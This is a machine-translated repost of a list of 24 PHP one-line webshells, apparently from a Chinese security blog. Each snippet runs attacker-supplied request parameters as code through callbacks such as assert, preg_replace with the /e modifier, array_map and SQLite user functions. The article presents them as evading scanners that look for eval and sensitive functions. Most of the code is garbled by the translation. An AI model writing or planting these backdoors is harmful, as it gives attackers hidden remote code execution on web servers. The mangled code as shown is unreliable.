Share a word about PHP with no features

Source: Internet
Author: User
Share a word about PHP with no features

Share a word about PHP with no features


Share a sentence that does not require dynamic functions, eval, sensitive functions, and no blocking. (A few words require php5.4.8 +, or sqlite/pdo/yaml/memcached extensions)

Principle: http://www.toceanedu.com/shareMethod/639.jhtml

01

$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'],);
Array_filter ($ arr, $ e );

02

$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'],);
Array_map ($ e, $ arr );

03

$ E = $ _ REQUEST ['E'];
$ Arr = array ('test', $ _ REQUEST ['pass']);
Uasort ($ arr, $ e );

04

$ E = $ _ REQUEST ['E'];
$ Arr = array ('test' => 1, $ _ REQUEST ['pass'] => 2 );
Uksort ($ arr, $ e );

05

$ Arr = new ArrayObject (array ('test', $ _ REQUEST ['pass']);
$ Arr-> uasort ('assert ');

06

$ Arr = new ArrayObject (array ('test' => 1, $ _ REQUEST ['pass'] => 2 ));
$ Arr-> uksort ('assert ');

07

$ E = $ _ REQUEST ['E'];
$ Arr = array (1 );
Array_reduce ($ arr, $ e, $ _ POST ['pass']);

08

$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass']);
$ Arr2 = array (1 );
Array_udiff ($ arr, $ arr2, $ e );

09

$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'] => '|. * | E ',);
Array_walk ($ arr, $ e ,'');

10

$ E = $ _ REQUEST ['E'];
$ Arr = array ($ _ POST ['pass'] => '|. * | E ',);
Array_walk_recursive ($ arr, $ e ,'');

11

Mb_ereg_replace ('. *', $ _ REQUEST ['pass'], '', 'E ');

12

Echopreg_filter ('|. * | E', $ _ REQUEST ['pass'], '');

13

Ob_start ('assert ');
Echo $ _ REQUEST ['pass'];
Ob_end_flush ();

14

$ E = $ _ REQUEST ['E'];
Register_shutdown_function ($ e, $ _ REQUEST ['pass']);

15

$ E = $ _ REQUEST ['E'];
Declare (ticks = 1 );
Register_tick_function ($ e, $ _ REQUEST ['pass']);

16

Filter_var ($ _ REQUEST ['pass'], FILTER_CALLBACK, array ('options' => 'assert '));

17

Filter_var_array (array ('test' = >$ _ REQUEST ['pass']), array ('test' => array ('filter' => FILTER_CALLBACK, 'options' => 'assert ')));

18

$ E = $ _ REQUEST ['E'];
$ Db = new PDO ('sqlite: sqlite. db3 ');
$ Db-> sqliteCreateFunction ('myfunc', $ e, 1 );
$ Something = $ db-> prepare ("SELECT myfunc (: exec )");
$ Something-> execute (array (': exec' = >$ _ REQUEST ['pass']);

19

$ E = $ _ REQUEST ['E'];
$ Db = new SQLite3 ('sqlite. db3 ');
$ Db-> createFunction ('myfunc', $ e );
$ Stmt = $ db-> prepare ("SELECT myfunc (?) ");
$ Stmt-> bindValue (1, $ _ REQUEST ['pass'], SQLITE3_TEXT );
$ Stmt-> execute ();

20

$ Str = urlencode ($ _ REQUEST ['pass']);
$ Yaml = < Greeting :! {$ Str} "|. + | e"
EOD;
$ Parsed = yaml_parse ($ yaml, 0, $ cnt, array ("! {$ _ REQUEST ['pass']} "=> 'preg _ replace '));

21

$ Mem = new Memcache ();
$ Re = $ mem-> addServer ('localhost', 11211, TRUE, 100, 0,-1, TRUE, create_function ('$ a, $ B, $ c, $ d, $ e ', 'Return assert ($ );'));
$ Mem-> connect ($ _ REQUEST ['pass'], 11211, 0 );

22

Preg_replace_callback ('/. +/I ', create_function (' $ arr', 'Return assert ($ arr [0]); '), $ _ REQUEST ['pass']);

23

Mb_ereg_replace_callback ('. +', create_function ('$ arr', 'Return assert ($ arr [0]);'), $ _ REQUEST ['pass']);

24

$ Iterator = new CallbackFilterIterator (new ArrayIterator (array ($ _ REQUEST ['pass'],), create_function ('$ A', 'assert ($ ); '));
Foreach ($ iterator as $ item) {echo $ item ;}

If any technical problems are not solved in time during the learning process, we recommend a good public account: [tosheng technology] professional technical staff will solve the problem for you. [Tuo Sheng technology] focuses on sharing the most comprehensive programming development video learning materials and learning experience. Currently, teaching videos for Java, Android, UID, PHP, and iOS have been compiled,


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.